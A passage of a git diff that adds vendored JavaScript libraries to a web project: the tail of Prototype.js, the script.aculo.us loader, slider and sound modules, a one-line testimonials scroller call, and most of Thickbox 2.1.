+      if (this.readyState == "complete") {
+        this.onreadystatechange = null;
+        fireContentLoadedEvent();
+      }
+    };
+  }
+})();
+/*------------------------------- DEPRECATED -------------------------------*/
+
+Hash.toQueryString = Object.toQueryString;
+
+var Toggle = { display: Element.toggle };
+
+Element.Methods.childOf = Element.Methods.descendantOf;
+
+var Insertion = {
+  Before: function(element, content) {
+    return Element.insert(element, {before:content});
+  },
+
+  Top: function(element, content) {
+    return Element.insert(element, {top:content});
+  },
+
+  Bottom: function(element, content) {
+    return Element.insert(element, {bottom:content});
+  },
+
+  After: function(element, content) {
+    return Element.insert(element, {after:content});
+  }
+};
+
+var $continue = new Error('"throw $continue" is deprecated, use "return" instead');
+
+// This should be moved to script.aculo.us; notice the deprecated methods
+// further below, that map to the newer Element methods.
+var Position = {
+  // set to true if needed, warning: firefox performance problems
+  // NOT neeeded for page scrolling, only if draggable contained in
+  // scrollable elements
+  includeScrollOffsets: false,
+
+  // must be called before calling withinIncludingScrolloffset, every time the
+  // page is scrolled
+  prepare: function() {
+    this.deltaX =  window.pageXOffset
+                || document.documentElement.scrollLeft
+                || document.body.scrollLeft
+                || 0;
+    this.deltaY =  window.pageYOffset
+                || document.documentElement.scrollTop
+                || document.body.scrollTop
+                || 0;
+  },
+
+  // caches x/y coordinate pair to use with overlap
+  within: function(element, x, y) {
+    if (this.includeScrollOffsets)
+      return this.withinIncludingScrolloffsets(element, x, y);
+    this.xcomp = x;
+    this.ycomp = y;
+    this.offset = Element.cumulativeOffset(element);
+
+    return (y >= this.offset[1] &&
+            y <  this.offset[1] + element.offsetHeight &&
+            x >= this.offset[0] &&
+            x <  this.offset[0] + element.offsetWidth);
+  },
+
+  withinIncludingScrolloffsets: function(element, x, y) {
+    var offsetcache = Element.cumulativeScrollOffset(element);
+
+    this.xcomp = x + offsetcache[0] - this.deltaX;
+    this.ycomp = y + offsetcache[1] - this.deltaY;
+    this.offset = Element.cumulativeOffset(element);
+
+    return (this.ycomp >= this.offset[1] &&
+            this.ycomp <  this.offset[1] + element.offsetHeight &&
+            this.xcomp >= this.offset[0] &&
+            this.xcomp <  this.offset[0] + element.offsetWidth);
+  },
+
+  // within must be called directly before
+  overlap: function(mode, element) {
+    if (!mode) return 0;
+    if (mode == 'vertical')
+      return ((this.offset[1] + element.offsetHeight) - this.ycomp) /
+        element.offsetHeight;
+    if (mode == 'horizontal')
+      return ((this.offset[0] + element.offsetWidth) - this.xcomp) /
+        element.offsetWidth;
+  },
+
+  // Deprecation layer -- use newer Element methods now (1.5.2).
+
+  cumulativeOffset: Element.Methods.cumulativeOffset,
+
+  positionedOffset: Element.Methods.positionedOffset,
+
+  absolutize: function(element) {
+    Position.prepare();
+    return Element.absolutize(element);
+  },
+
+  relativize: function(element) {
+    Position.prepare();
+    return Element.relativize(element);
+  },
+
+  realOffset: Element.Methods.cumulativeScrollOffset,
+
+  offsetParent: Element.Methods.getOffsetParent,
+
+  page: Element.Methods.viewportOffset,
+
+  clone: function(source, target, options) {
+    options = options || { };
+    return Element.clonePosition(target, source, options);
+  }
+};
+
+/*--------------------------------------------------------------------------*/
+
+if (!document.getElementsByClassName) document.getElementsByClassName = function(instanceMethods){
+  function iter(name) {
+    return name.blank() ? null : "[contains(concat(' ', @class, ' '), ' " + name + " ')]";
+  }
+
+  instanceMethods.getElementsByClassName = Prototype.BrowserFeatures.XPath ?
+  function(element, className) {
+    className = className.toString().strip();
+    var cond = /\s/.test(className) ? $w(className).map(iter).join('') : iter(className);
+    return cond ? document._getElementsByXPath('.//*' + cond, element) : [];
+  } : function(element, className) {
+    className = className.toString().strip();
+    var elements = [], classNames = (/\s/.test(className) ? $w(className) : null);
+    if (!classNames && !className) return elements;
+
+    var nodes = $(element).getElementsByTagName('*');
+    className = ' ' + className + ' ';
+
+    for (var i = 0, child, cn; child = nodes[i]; i++) {
+      if (child.className && (cn = ' ' + child.className + ' ') && (cn.include(className) ||
+          (classNames && classNames.all(function(name) {
+            return !name.toString().blank() && cn.include(' ' + name + ' ');
+          }))))
+        elements.push(Element.extend(child));
+    }
+    return elements;
+  };
+
+  return function(className, parentElement) {
+    return $(parentElement || document.body).getElementsByClassName(className);
+  };
+}(Element.Methods);
+
+/*--------------------------------------------------------------------------*/
+
+Element.ClassNames = Class.create();
+Element.ClassNames.prototype = {
+  initialize: function(element) {
+    this.element = $(element);
+  },
+
+  _each: function(iterator) {
+    this.element.className.split(/\s+/).select(function(name) {
+      return name.length > 0;
+    })._each(iterator);
+  },
+
+  set: function(className) {
+    this.element.className = className;
+  },
+
+  add: function(classNameToAdd) {
+    if (this.include(classNameToAdd)) return;
+    this.set($A(this).concat(classNameToAdd).join(' '));
+  },
+
+  remove: function(classNameToRemove) {
+    if (!this.include(classNameToRemove)) return;
+    this.set($A(this).without(classNameToRemove).join(' '));
+  },
+
+  toString: function() {
+    return $A(this).join(' ');
+  }
+};
+
+Object.extend(Element.ClassNames.prototype, Enumerable);
+
+/*--------------------------------------------------------------------------*/
+
+Element.addMethods();
\ No newline at end of file
diff --git a/libjs/scriptaculous.js b/libjs/scriptaculous.js
new file mode 100644 (file)
index 0000000..8fafc39
--- /dev/null
@@ -0,0 +1,58 @@
+// script.aculo.us scriptaculous.js v1.8.0, Tue Nov 06 15:01:40 +0300 2007
+
+// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
+// 
+// Permission is hereby granted, free of charge, to any person obtaining
+// a copy of this software and associated documentation files (the
+// "Software"), to deal in the Software without restriction, including
+// without limitation the rights to use, copy, modify, merge, publish,
+// distribute, sublicense, and/or sell copies of the Software, and to
+// permit persons to whom the Software is furnished to do so, subject to
+// the following conditions:
+// 
+// The above copyright notice and this permission notice shall be
+// included in all copies or substantial portions of the Software.
+//
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+// EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+//
+// For details, see the script.aculo.us web site: http://script.aculo.us/
+
+var Scriptaculous = {
+  Version: '1.8.0',
+  require: function(libraryName) {
+    // inserting via DOM fails in Safari 2.0, so brute force approach
+    document.write('<script type="text/javascript" src="'+libraryName+'"><\/script>');
+  },
+  REQUIRED_PROTOTYPE: '1.6.0',
+  load: function() {
+    function convertVersionString(versionString){
+      var r = versionString.split('.');
+      return parseInt(r[0])*100000 + parseInt(r[1])*1000 + parseInt(r[2]);
+    }
+    if((typeof Prototype=='undefined') || 
+       (typeof Element == 'undefined') || 
+       (typeof Element.Methods=='undefined') ||
+       (convertVersionString(Prototype.Version) < 
+        convertVersionString(Scriptaculous.REQUIRED_PROTOTYPE)))
+       throw("script.aculo.us requires the Prototype JavaScript framework >= " +
+        Scriptaculous.REQUIRED_PROTOTYPE);
+    
+    $A(document.getElementsByTagName("script")).findAll( function(s) {
+      return (s.src && s.src.match(/scriptaculous\.js(\?.*)?$/))
+    }).each( function(s) {
+      var path = s.src.replace(/scriptaculous\.js(\?.*)?$/,'');
+      var includes = s.src.match(/\?.*load=([a-z,]*)/);
+      (includes ? includes[1] : 'builder,effects,dragdrop,controls,slider,sound').split(',').each(
+       function(include) { Scriptaculous.require(path+include+'.js') });
+    });
+  }
+}
+
+Scriptaculous.load();
diff --git a/libjs/slider.js b/libjs/slider.js
new file mode 100755 (executable)
index 0000000..53f319e
--- /dev/null
@@ -0,0 +1,275 @@
+// script.aculo.us slider.js v1.8.0, Tue Nov 06 15:01:40 +0300 2007
+
+// Copyright (c) 2005-2007 Marty Haught, Thomas Fuchs 
+//
+// script.aculo.us is freely distributable under the terms of an MIT-style license.
+// For details, see the script.aculo.us web site: http://script.aculo.us/
+
+if (!Control) var Control = { };
+
+// options:
+//  axis: 'vertical', or 'horizontal' (default)
+//
+// callbacks:
+//  onChange(value)
+//  onSlide(value)
+Control.Slider = Class.create({
+  initialize: function(handle, track, options) {
+    var slider = this;
+    
+    if (Object.isArray(handle)) {
+      this.handles = handle.collect( function(e) { return $(e) });
+    } else {
+      this.handles = [$(handle)];
+    }
+    
+    this.track   = $(track);
+    this.options = options || { };
+
+    this.axis      = this.options.axis || 'horizontal';
+    this.increment = this.options.increment || 1;
+    this.step      = parseInt(this.options.step || '1');
+    this.range     = this.options.range || $R(0,1);
+    
+    this.value     = 0; // assure backwards compat
+    this.values    = this.handles.map( function() { return 0 });
+    this.spans     = this.options.spans ? this.options.spans.map(function(s){ return $(s) }) : false;
+    this.options.startSpan = $(this.options.startSpan || null);
+    this.options.endSpan   = $(this.options.endSpan || null);
+
+    this.restricted = this.options.restricted || false;
+
+    this.maximum   = this.options.maximum || this.range.end;
+    this.minimum   = this.options.minimum || this.range.start;
+
+    // Will be used to align the handle onto the track, if necessary
+    this.alignX = parseInt(this.options.alignX || '0');
+    this.alignY = parseInt(this.options.alignY || '0');
+    
+    this.trackLength = this.maximumOffset() - this.minimumOffset();
+
+    this.handleLength = this.isVertical() ? 
+      (this.handles[0].offsetHeight != 0 ? 
+        this.handles[0].offsetHeight : this.handles[0].style.height.replace(/px$/,"")) : 
+      (this.handles[0].offsetWidth != 0 ? this.handles[0].offsetWidth : 
+        this.handles[0].style.width.replace(/px$/,""));
+
+    this.active   = false;
+    this.dragging = false;
+    this.disabled = false;
+
+    if (this.options.disabled) this.setDisabled();
+
+    // Allowed values array
+    this.allowedValues = this.options.values ? this.options.values.sortBy(Prototype.K) : false;
+    if (this.allowedValues) {
+      this.minimum = this.allowedValues.min();
+      this.maximum = this.allowedValues.max();
+    }
+
+    this.eventMouseDown = this.startDrag.bindAsEventListener(this);
+    this.eventMouseUp   = this.endDrag.bindAsEventListener(this);
+    this.eventMouseMove = this.update.bindAsEventListener(this);
+
+    // Initialize handles in reverse (make sure first handle is active)
+    this.handles.each( function(h,i) {
+      i = slider.handles.length-1-i;
+      slider.setValue(parseFloat(
+        (Object.isArray(slider.options.sliderValue) ? 
+          slider.options.sliderValue[i] : slider.options.sliderValue) || 
+         slider.range.start), i);
+      h.makePositioned().observe("mousedown", slider.eventMouseDown);
+    });
+    
+    this.track.observe("mousedown", this.eventMouseDown);
+    document.observe("mouseup", this.eventMouseUp);
+    document.observe("mousemove", this.eventMouseMove);
+    
+    this.initialized = true;
+  },
+  dispose: function() {
+    var slider = this;    
+    Event.stopObserving(this.track, "mousedown", this.eventMouseDown);
+    Event.stopObserving(document, "mouseup", this.eventMouseUp);
+    Event.stopObserving(document, "mousemove", this.eventMouseMove);
+    this.handles.each( function(h) {
+      Event.stopObserving(h, "mousedown", slider.eventMouseDown);
+    });
+  },
+  setDisabled: function(){
+    this.disabled = true;
+  },
+  setEnabled: function(){
+    this.disabled = false;
+  },  
+  getNearestValue: function(value){
+    if (this.allowedValues){
+      if (value >= this.allowedValues.max()) return(this.allowedValues.max());
+      if (value <= this.allowedValues.min()) return(this.allowedValues.min());
+      
+      var offset = Math.abs(this.allowedValues[0] - value);
+      var newValue = this.allowedValues[0];
+      this.allowedValues.each( function(v) {
+        var currentOffset = Math.abs(v - value);
+        if (currentOffset <= offset){
+          newValue = v;
+          offset = currentOffset;
+        } 
+      });
+      return newValue;
+    }
+    if (value > this.range.end) return this.range.end;
+    if (value < this.range.start) return this.range.start;
+    return value;
+  },
+  setValue: function(sliderValue, handleIdx){
+    if (!this.active) {
+      this.activeHandleIdx = handleIdx || 0;
+      this.activeHandle    = this.handles[this.activeHandleIdx];
+      this.updateStyles();
+    }
+    handleIdx = handleIdx || this.activeHandleIdx || 0;
+    if (this.initialized && this.restricted) {
+      if ((handleIdx>0) && (sliderValue<this.values[handleIdx-1]))
+        sliderValue = this.values[handleIdx-1];
+      if ((handleIdx < (this.handles.length-1)) && (sliderValue>this.values[handleIdx+1]))
+        sliderValue = this.values[handleIdx+1];
+    }
+    sliderValue = this.getNearestValue(sliderValue);
+    this.values[handleIdx] = sliderValue;
+    this.value = this.values[0]; // assure backwards compat
+    
+    this.handles[handleIdx].style[this.isVertical() ? 'top' : 'left'] = 
+      this.translateToPx(sliderValue);
+    
+    this.drawSpans();
+    if (!this.dragging || !this.event) this.updateFinished();
+  },
+  setValueBy: function(delta, handleIdx) {
+    this.setValue(this.values[handleIdx || this.activeHandleIdx || 0] + delta, 
+      handleIdx || this.activeHandleIdx || 0);
+  },
+  translateToPx: function(value) {
+    return Math.round(
+      ((this.trackLength-this.handleLength)/(this.range.end-this.range.start)) * 
+      (value - this.range.start)) + "px";
+  },
+  translateToValue: function(offset) {
+    return ((offset/(this.trackLength-this.handleLength) * 
+      (this.range.end-this.range.start)) + this.range.start);
+  },
+  getRange: function(range) {
+    var v = this.values.sortBy(Prototype.K); 
+    range = range || 0;
+    return $R(v[range],v[range+1]);
+  },
+  minimumOffset: function(){
+    return(this.isVertical() ? this.alignY : this.alignX);
+  },
+  maximumOffset: function(){
+    return(this.isVertical() ? 
+      (this.track.offsetHeight != 0 ? this.track.offsetHeight :
+        this.track.style.height.replace(/px$/,"")) - this.alignY : 
+      (this.track.offsetWidth != 0 ? this.track.offsetWidth : 
+        this.track.style.width.replace(/px$/,"")) - this.alignX);
+  },  
+  isVertical:  function(){
+    return (this.axis == 'vertical');
+  },
+  drawSpans: function() {
+    var slider = this;
+    if (this.spans)
+      $R(0, this.spans.length-1).each(function(r) { slider.setSpan(slider.spans[r], slider.getRange(r)) });
+    if (this.options.startSpan)
+      this.setSpan(this.options.startSpan,
+        $R(0, this.values.length>1 ? this.getRange(0).min() : this.value ));
+    if (this.options.endSpan)
+      this.setSpan(this.options.endSpan, 
+        $R(this.values.length>1 ? this.getRange(this.spans.length-1).max() : this.value, this.maximum));
+  },
+  setSpan: function(span, range) {
+    if (this.isVertical()) {
+      span.style.top = this.translateToPx(range.start);
+      span.style.height = this.translateToPx(range.end - range.start + this.range.start);
+    } else {
+      span.style.left = this.translateToPx(range.start);
+      span.style.width = this.translateToPx(range.end - range.start + this.range.start);
+    }
+  },
+  updateStyles: function() {
+    this.handles.each( function(h){ Element.removeClassName(h, 'selected') });
+    Element.addClassName(this.activeHandle, 'selected');
+  },
+  startDrag: function(event) {
+    if (Event.isLeftClick(event)) {
+      if (!this.disabled){
+        this.active = true;
+        
+        var handle = Event.element(event);
+        var pointer  = [Event.pointerX(event), Event.pointerY(event)];
+        var track = handle;
+        if (track==this.track) {
+          var offsets  = Position.cumulativeOffset(this.track); 
+          this.event = event;
+          this.setValue(this.translateToValue( 
+           (this.isVertical() ? pointer[1]-offsets[1] : pointer[0]-offsets[0])-(this.handleLength/2)
+          ));
+          var offsets  = Position.cumulativeOffset(this.activeHandle);
+          this.offsetX = (pointer[0] - offsets[0]);
+          this.offsetY = (pointer[1] - offsets[1]);
+        } else {
+          // find the handle (prevents issues with Safari)
+          while((this.handles.indexOf(handle) == -1) && handle.parentNode) 
+            handle = handle.parentNode;
+            
+          if (this.handles.indexOf(handle)!=-1) {
+            this.activeHandle    = handle;
+            this.activeHandleIdx = this.handles.indexOf(this.activeHandle);
+            this.updateStyles();
+            
+            var offsets  = Position.cumulativeOffset(this.activeHandle);
+            this.offsetX = (pointer[0] - offsets[0]);
+            this.offsetY = (pointer[1] - offsets[1]);
+          }
+        }
+      }
+      Event.stop(event);
+    }
+  },
+  update: function(event) {
+   if (this.active) {
+      if (!this.dragging) this.dragging = true;
+      this.draw(event);
+      if (Prototype.Browser.WebKit) window.scrollBy(0,0);
+      Event.stop(event);
+   }
+  },
+  draw: function(event) {
+    var pointer = [Event.pointerX(event), Event.pointerY(event)];
+    var offsets = Position.cumulativeOffset(this.track);
+    pointer[0] -= this.offsetX + offsets[0];
+    pointer[1] -= this.offsetY + offsets[1];
+    this.event = event;
+    this.setValue(this.translateToValue( this.isVertical() ? pointer[1] : pointer[0] ));
+    if (this.initialized && this.options.onSlide)
+      this.options.onSlide(this.values.length>1 ? this.values : this.value, this);
+  },
+  endDrag: function(event) {
+    if (this.active && this.dragging) {
+      this.finishDrag(event, true);
+      Event.stop(event);
+    }
+    this.active = false;
+    this.dragging = false;
+  },  
+  finishDrag: function(event, success) {
+    this.active = false;
+    this.dragging = false;
+    this.updateFinished();
+  },
+  updateFinished: function() {
+    if (this.initialized && this.options.onChange) 
+      this.options.onChange(this.values.length>1 ? this.values : this.value, this);
+    this.event = null;
+  }
+});
diff --git a/libjs/sound.js b/libjs/sound.js
new file mode 100755 (executable)
index 0000000..9dd6e9f
--- /dev/null
@@ -0,0 +1,55 @@
+// script.aculo.us sound.js v1.8.0, Tue Nov 06 15:01:40 +0300 2007
+
+// Copyright (c) 2005-2007 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
+//
+// Based on code created by Jules Gravinese (http://www.webveteran.com/)
+//
+// script.aculo.us is freely distributable under the terms of an MIT-style license.
+// For details, see the script.aculo.us web site: http://script.aculo.us/
+
+Sound = {
+  tracks: {},
+  _enabled: true,
+  template:
+    new Template('<embed style="height:0" id="sound_#{track}_#{id}" src="#{url}" loop="false" autostart="true" hidden="true"/>'),
+  enable: function(){
+    Sound._enabled = true;
+  },
+  disable: function(){
+    Sound._enabled = false;
+  },
+  play: function(url){
+    if(!Sound._enabled) return;
+    var options = Object.extend({
+      track: 'global', url: url, replace: false
+    }, arguments[1] || {});
+    
+    if(options.replace && this.tracks[options.track]) {
+      $R(0, this.tracks[options.track].id).each(function(id){
+        var sound = $('sound_'+options.track+'_'+id);
+        sound.Stop && sound.Stop();
+        sound.remove();
+      })
+      this.tracks[options.track] = null;
+    }
+      
+    if(!this.tracks[options.track])
+      this.tracks[options.track] = { id: 0 }
+    else
+      this.tracks[options.track].id++;
+      
+    options.id = this.tracks[options.track].id;
+    $$('body')[0].insert( 
+      Prototype.Browser.IE ? new Element('bgsound',{
+        id: 'sound_'+options.track+'_'+options.id,
+        src: options.url, loop: 1, autostart: true
+      }) : Sound.template.evaluate(options));
+  }
+};
+
+if(Prototype.Browser.Gecko && navigator.userAgent.indexOf("Win") > 0){
+  if(navigator.plugins && $A(navigator.plugins).detect(function(p){ return p.name.indexOf('QuickTime') != -1 }))
+    Sound.template = new Template('<object id="sound_#{track}_#{id}" width="0" height="0" type="audio/mpeg" data="#{url}"/>')
+  else
+    Sound.play = function(){}
+}
diff --git a/libjs/testimonials.js b/libjs/testimonials.js
new file mode 100644 (file)
index 0000000..a7bf9c7
--- /dev/null
@@ -0,0 +1 @@
+$(window).load(function(){autoScroller('testscroller', 1)});
diff --git a/libjs/thickbox.js b/libjs/thickbox.js
new file mode 100755 (executable)
index 0000000..1137f18
--- /dev/null
@@ -0,0 +1,299 @@
+/*
+ * Thickbox 2.1 - One Box To Rule Them All.
+ * By Cody Lindley (http://www.codylindley.com)
+ * Copyright (c) 2006 cody lindley
+ * Licensed under the MIT License:
+ *   http://www.opensource.org/licenses/mit-license.php
+ * Thickbox is built on top of the very light weight jQuery library.
+ */
+
+//on page load call TB_init
+$(document).ready(TB_init);
+
+var mashPattern = /\"|\'/;
+//add thickbox to href elements that have a class of .thickbox
+function TB_init(){
+       $("a.thickbox").click(function(){
+       var t = this.title || this.name || null;
+       var g = this.rel || false;
+       TB_show(t,this.href,g);
+       this.blur();
+       return false;
+       });
+}
+
+function TB_show(caption, url, imageGroup) {//function called when the user clicks on a thickbox link
+
+       try {
+               if (document.getElementById("TB_HideSelect") == null) {
+               $("body").append("<iframe id='TB_HideSelect'></iframe><div id='TB_overlay'></div><div id='TB_window'></div>");
+               $("#TB_overlay").click(TB_remove);
+               }
+               
+               if(caption==null){caption=""};
+               
+               $(window).scroll(TB_position);
+               
+               TB_overlaySize();
+               
+               $("body").append("<div id='TB_load'><img src='../../images/loadingAnimation.gif' /></div>");
+               TB_load_position();
+               
+               var urlString = /\.jpg|\.jpeg|\.png|\.gif|\.bmp/g;
+               var urlType = url.toLowerCase().match(urlString);
+               
+               if(urlType == '.jpg' || urlType == '.jpeg' || urlType == '.png' || urlType == '.gif' || urlType == '.bmp'){//code to show images
+                               
+                       TB_PrevCaption = "";
+                       TB_PrevURL = "";
+                       TB_PrevHTML = "";
+                       TB_NextCaption = "";
+                       TB_NextURL = "";
+                       TB_NextHTML = "";
+                       TB_imageCount = "";
+                       TB_FoundURL = false;
+                       if(imageGroup){
+                               TB_TempArray = $("a[@rel="+imageGroup+"]").get();
+                               for (TB_Counter = 0; ((TB_Counter < TB_TempArray.length) && (TB_NextHTML == "")); TB_Counter++) {
+                                       var urlTypeTemp = TB_TempArray[TB_Counter].href.toLowerCase().match(urlString);
+                                               if (!(TB_TempArray[TB_Counter].href == url)) {                                          
+                                                       if (TB_FoundURL) {
+                                                               TB_NextCaption = TB_TempArray[TB_Counter].title;
+                                                               TB_NextURL = TB_TempArray[TB_Counter].href;
+                                                               TB_NextHTML = "<span id='TB_next'>&nbsp;&nbsp;<a href='#'>Next &gt;</a></span>";
+                                                       } else {
+                                                               TB_PrevCaption = TB_TempArray[TB_Counter].title;
+                                                               TB_PrevURL = TB_TempArray[TB_Counter].href;
+                                                               TB_PrevHTML = "<span id='TB_prev'>&nbsp;&nbsp;<a href='#'>&lt; Prev</a></span>";
+                                                       }
+                                               } else {
+                                                       TB_FoundURL = true;
+                                                       TB_imageCount = "Image " + (TB_Counter + 1) +" of "+ (TB_TempArray.length);                                                                                     
+                                               }
+                               }
+                       }
+
+                       imgPreloader = new Image();
+                       imgPreloader.onload = function(){               
+                       imgPreloader.onload = null;
+                               
+                       // Resizing large images - orginal by Christian Montoya edited by me.
+                       var pagesize = TB_getPageSize();
+                       var x = pagesize[0] - 150;
+                       var y = pagesize[1] - 150;
+                       var imageWidth = imgPreloader.width;
+                       var imageHeight = imgPreloader.height;
+                       if (imageWidth > x) {
+                               imageHeight = imageHeight * (x / imageWidth); 
+                               imageWidth = x; 
+                               if (imageHeight > y) { 
+                                       imageWidth = imageWidth * (y / imageHeight); 
+                                       imageHeight = y; 
+                               }
+                       } else if (imageHeight > y) { 
+                               imageWidth = imageWidth * (y / imageHeight); 
+                               imageHeight = y; 
+                               if (imageWidth > x) { 
+                                       imageHeight = imageHeight * (x / imageWidth); 
+                                       imageWidth = x;
+                               }
+                       }
+                       // End Resizing
+                       
+                       TB_WIDTH = imageWidth + 30;
+                       TB_HEIGHT = imageHeight + 60;
+                       var altcaption = caption.replace(mashPattern,'');
+                       $("#TB_window").append("<a href='' id='TB_ImageOff' title='Close'><img id='TB_Image' src='"+url+"' width='"+imageWidth+"' height='"+imageHeight+"' alt='"+altcaption+"'/></a>" + "<div id='TB_caption'>"+caption+"<div id='TB_secondLine'>" + TB_imageCount + TB_PrevHTML + TB_NextHTML + "</div></div><div id='TB_closeWindow'><a href='#' id='TB_closeWindowButton' title='Close'>close</a></div>");          
+                       
+                       $("#TB_closeWindowButton").click(TB_remove);
+                       
+                       if (!(TB_PrevHTML == "")) {
+                               function goPrev(){
+                                       if($(document).unclick(goPrev)){$(document).unclick(goPrev)};
+                                       $("#TB_window").remove();
+                                       $("body").append("<div id='TB_window'></div>");
+                                       TB_show(TB_PrevCaption, TB_PrevURL, imageGroup);
+                                       return false;   
+                               }
+                               $("#TB_prev").click(goPrev);
+                       }
+                       
+                       if (!(TB_NextHTML == "")) {             
+                               function goNext(){
+                                       $("#TB_window").remove();
+                                       $("body").append("<div id='TB_window'></div>");
+                                       TB_show(TB_NextCaption, TB_NextURL, imageGroup);                                
+                                       return false;   
+                               }
+                               $("#TB_next").click(goNext);
+                               
+                       }
+                       
+                       document.onkeydown = function(e){       
+                               if (e == null) { // ie
+                                       keycode = event.keyCode;
+                               } else { // mozilla
+                                       keycode = e.which;
+                               }
+                               if((keycode == 27) || (keycode == 67)){ // close
+                                       TB_remove();
+                               } else if(keycode == 190){ // display previous image
+                                       if(!(TB_NextHTML == "")){
+                                       document.onkeydown = "";
+                                       goNext();
+                                       }
+                               } else if(keycode == 188){ // display next image
+                                       if(!(TB_PrevHTML == "")){
+                                       document.onkeydown = "";
+                                       goPrev();
+                                       }
+                               }       
+                       }
+                               
+                       TB_position();
+                       $("#TB_load").remove();
+                       $("#TB_ImageOff").click(TB_remove);
+                       $("#TB_window").css({display:"block"}); //for safari using css instead of show
+                       }
+         
+                       imgPreloader.src = url;
+               }else{//code to show html pages
+                       
+                       var queryString = url.replace(/^[^\?]+\??/,'');
+                       var params = TB_parseQuery( queryString );
+                       
+                       TB_WIDTH = (params['width']*1) + 30;
+                       TB_HEIGHT = (params['height']*1) + 40;
+                       ajaxContentW = TB_WIDTH - 30;
+                       ajaxContentH = TB_HEIGHT - 45;
+                       
+                       if(url.indexOf('TB_iframe') != -1){                             
+                                       urlNoQuery = url.split('TB_');          
+                                       $("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><a href='#' id='TB_closeWindowButton' title='Close'>close</a></div></div><iframe frameborder='0' hspace='0' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;' onload='TB_showIframe()'> </iframe>");
+                               }else{
+                                       $("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><a href='#' id='TB_closeWindowButton'>close</a></div></div><div id='TB_ajaxContent' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px;'></div>");
+                       }
+                                       
+                       $("#TB_closeWindowButton").click(TB_remove);
+                       
+                               if(url.indexOf('TB_inline') != -1){     
+                                       $("#TB_ajaxContent").html($('#' + params['inlineId']).html());
+                                       TB_position();
+                                       $("#TB_load").remove();
+                                       $("#TB_window").css({display:"block"}); 
+                               }else if(url.indexOf('TB_iframe') != -1){
+                                       TB_position();
+                                       if(frames['TB_iframeContent'] == undefined){//be nice to safari
+                                               $("#TB_load").remove();
+                                               $("#TB_window").css({display:"block"});
+                                               $(document).keyup( function(e){ var key = e.keyCode; if(key == 27){TB_remove()} });
+                                       }
+                               }else{
+                                       $("#TB_ajaxContent").load(url, function(){
+                                               TB_position();
+                                               $("#TB_load").remove();
+                                               $("#TB_window").css({display:"block"}); 
+                                       });
+                               }
+                       
+               }
+               
+               $(window).resize(TB_position);
+               
+               document.onkeyup = function(e){         
+                       if (e == null) { // ie
+                               keycode = event.keyCode;
+                       } else { // mozilla
+                               keycode = e.which;
+                       }
+                       if((keycode == 27) || (keycode == 67)){ // close
+                               TB_remove();
+                       }       
+               }
+               
+       } catch(e) {
+               alert( e );
+       }
+}
+
+//helper functions below
+
+function TB_showIframe(){
+       $("#TB_load").remove();
+       $("#TB_window").css({display:"block"});
+}
+
+function TB_remove() {
+       $("#TB_window").fadeOut("fast",function(){$('#TB_window,#TB_overlay,#TB_HideSelect').remove();});
+       $("#TB_load").remove();
+       return false;
+}
+
+function TB_position() {
+       var pagesize = TB_getPageSize();        
+       var arrayPageScroll = TB_getPageScrollTop();    
+       $("#TB_window").css({width:TB_WIDTH+"px",left: (arrayPageScroll[0] + (pagesize[0] - TB_WIDTH)/2)+"px", top: (arrayPageScroll[1] + (pagesize[1]-TB_HEIGHT)/2)+"px" });
+}
+
+function TB_overlaySize(){
+       if (window.innerHeight && window.scrollMaxY || window.innerWidth && window.scrollMaxX) {        
+               yScroll = window.innerHeight + window.scrollMaxY;
+               xScroll = window.innerWidth + window.scrollMaxX;
+       } else if (document.body.scrollHeight > document.body.offsetHeight || document.body.scrollWidth > document.body.offsetWidth){ // all but Explorer Mac
+               yScroll = document.body.scrollHeight;
+               xScroll = document.body.scrollWidth;
+       } else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
+               yScroll = document.body.offsetHeight;
+               xScroll = document.body.offsetWidth;
+       }
+       $("#TB_overlay").css({"height":yScroll +"px", "width":xScroll +"px"});
+       $("#TB_HideSelect").css({"height":yScroll +"px","width":xScroll +"px"});
+}
+
+function TB_load_position() {
+       var pagesize = TB_getPageSize();
+       var arrayPageScroll = TB_getPageScrollTop();
+       $("#TB_load")
+       .css({left: (arrayPageScroll[0] + (pagesize[0] - 100)/2)+"px", top: (arrayPageScroll[1] + ((pagesize[1]-100)/2))+"px" })
+       .css({display:"block"});
+}
+
+function TB_parseQuery ( query ) {
+   var Params = new Object ();
+   if ( ! query ) return Params; // return empty object
+   var Pairs = query.split(/[;&]/);
+   for ( var i = 0; i < Pairs.length; i++ ) {
+      var KeyVal = Pairs[i].split('=');
+      if ( ! KeyVal || KeyVal.length != 2 ) continue;
+      var key = unescape( KeyVal[0] );
+      var val = unescape( KeyVal[1] );
+      val = val.replace(/\+/g, ' ');
+      Params[key] = val;
+   }
+   return Params;
+}
+
+function TB_getPageScrollTop(){
+       var yScrolltop;
+       var xScrollleft;
+       if (self.pageYOffset || self.pageXOffset) {
+               yScrolltop = self.pageYOffset;
+               xScrollleft = self.pageXOffset;
+       } else if (document.documentElement && document.documentElement.scrollTop || document.documentElement.scrollLeft ){      // Explorer 6 Strict
+               yScrolltop = document.documentElement.scrollTop;
+               xScrollleft = document.documentElement.scrollLeft;
+       } else if (document.body) {// all other Explorers
+               yScrolltop = document.body.scrollTop;
+               xScrollleft = document.body.scrollLeft;
+       }
+       arrayPageScroll = new Array(xScrollleft,yScrolltop) 
+       return arrayPageScroll;
+}
+
+function TB_getPageSize(){
+       var de = document.documentElement;
